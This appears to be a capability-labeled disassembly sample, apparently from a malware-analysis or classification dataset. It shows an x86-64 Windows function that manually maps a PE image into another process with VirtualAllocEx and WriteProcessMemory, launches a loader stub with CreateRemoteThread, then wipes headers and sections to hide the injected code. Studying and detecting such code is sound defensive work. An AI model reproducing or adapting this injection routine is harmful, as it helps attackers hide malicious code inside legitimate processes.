Function at 0x1400038d0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 7]
sub rsp, 0xc0
mov eax, 0x5a4d
mov r14, rdx
mov rsi, rcx
cmp word [rdx], ax
jne 0x140003da8
movsxd r15, dword [rdx + 0x3c]
mov eax, 0x8664
add r15, rdx
cmp word [r15 + 4], ax
jne 0x140003da8
mov r8d, dword [r15 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x140003da8
xor r13d, r13d
lea rax, [rbp + 0x67]
mov dword [rbp + 0x67], r13d
mov rdx, r12
mov r8d, dword [r15 + 0x50]
mov rcx, rsi
mov qword [rsp + 0x20], rax
lea r9d, [r13 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rbp - 0x79], rax
mov r8, r14
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r12
mov qword [rbp - 0x71], rax
mov rcx, rsi
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp - 0x69], rax
mov qword [rbp - 0x59], r13
mov qword [rbp - 0x51], 1
mov qword [rbp - 0x41], 1
mov qword [rbp - 0x61], r12
mov qword [rbp - 0x49], r13
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003d93
movzx ebx, word [r15 + 0x14]
mov edi, r13d
add rbx, 0x2c
cmp word [r15 + 6], r13w
je 0x140003a1b
add rbx, r15
mov eax, dword [rbx - 4]
test eax, eax
je 0x140003a0c
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, r14
add rdx, r12
mov qword [rsp + 0x20], r13
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003d93
movzx eax, word [r15 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x1400039e0
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, rsi
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x140003d93
mov r9d, 0x40
mov qword [rsp + 0x20], r13
lea r8, [rbp - 0x79]
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003d79
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x57], rax
mov rdi, rax
test rax, rax
je 0x140003d79
mov r9d, 0x1000
mov qword [rsp + 0x20], r13
lea r8, [0x140003dd0]
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003d4a
mov qword [rsp + 0x30], r13
mov r9, rdi
mov dword [rsp + 0x28], r13d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140003d4a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rdx, [rbp + 0x5f]
mov dword [rbp + 0x5f], r13d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp + 0x5f], 0x103
jne 0x140003da8
xorps xmm0, xmm0
mov qword [rsp + 0x20], r13
mov r9d, 0x40
lea r8, [rbp - 0x39]
mov rdx, r14
mov rcx, rsi
movups xmmword [rbp - 0x39], xmm0
movups xmmword [rbp - 0x29], xmm0
movups xmmword [rbp - 0x19], xmm0
movups xmmword [rbp - 9], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp - 0x19]
cmp rbx, 0x404040
je 0x140003d4a
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x140003af0
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r13, rax
test rax, rax
je 0x140003da8
xor edx, edx
mov r8d, 0x1400000
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x1000
mov qword [rsp + 0x20], 0
mov r8, r13
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ecx, word [r15 + 0x14]
lea rbx, [r15 + 0x18]
movzx edx, word [r15 + 6]
add rbx, rcx
xor edi, edi
test dx, dx
je 0x140003c57
lea r8, str..rsrc
lea r9, str..reloc
nop dword [rax]
mov edx, dword [rbx + 8]
test edx, edx
je 0x140003c40
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140003bf6
cmp rcx, 6
jne 0x140003be0
jmp 0x140003c14
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x140003c40
cmp rcx, 7
jne 0x140003c00
mov r9, rdx
mov qword [rsp + 0x20], 0
mov edx, dword [rbx + 0xc]
mov r8, r13
add rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea r8, str..rsrc
lea r9, str..reloc
movzx eax, word [r15 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140003bd0
movzx ecx, word [r15 + 0x14]
movzx edx, ax
movzx eax, cx
xor edi, edi
lea rbx, [rax + 0x3c]
test dx, dx
je 0x140003cd2
add rbx, r15
lea edx, [rdi + 0x20]
nop dword [rax + rax]
mov ecx, dword [rbx - 0x1c]
test ecx, ecx
je 0x140003cbe
mov eax, dword [rbx]
mov dword [rbp + 0x5f], 0
test eax, 0x80000000
jbe 0x140003c8f
mov r9d, 4
jmp 0x140003c9e
test eax, 0x20000000
mov r9d, 2
cmova r9d, edx
mov edx, dword [rbx - 0x18]
lea rax, [rbp + 0x5f]
mov r8, rcx
mov qword [rsp + 0x20], rax
add rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edx, 0x20
movzx eax, word [r15 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140003c70
movzx eax, word [r15 + 0x14]
movzx eax, ax
mov r9d, 2
mov dword [rbp + 0x6f], 0
mov rdx, r12
mov rcx, rsi
mov r8d, dword [rax + r15 + 0x24]
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rdx, qword [rbp + 0x57]
mov r9d, 0x1000
mov r8, r13
mov qword [rsp + 0x20], 0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rbp + 0x57]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
jmp 0x140003daa
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, rdi
jmp 0x140003d96
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, r14
jmp 0x140003d96
mov rdx, r12
mov r9d, 0x8000
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov rbx, qword [rsp + 0x100]
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret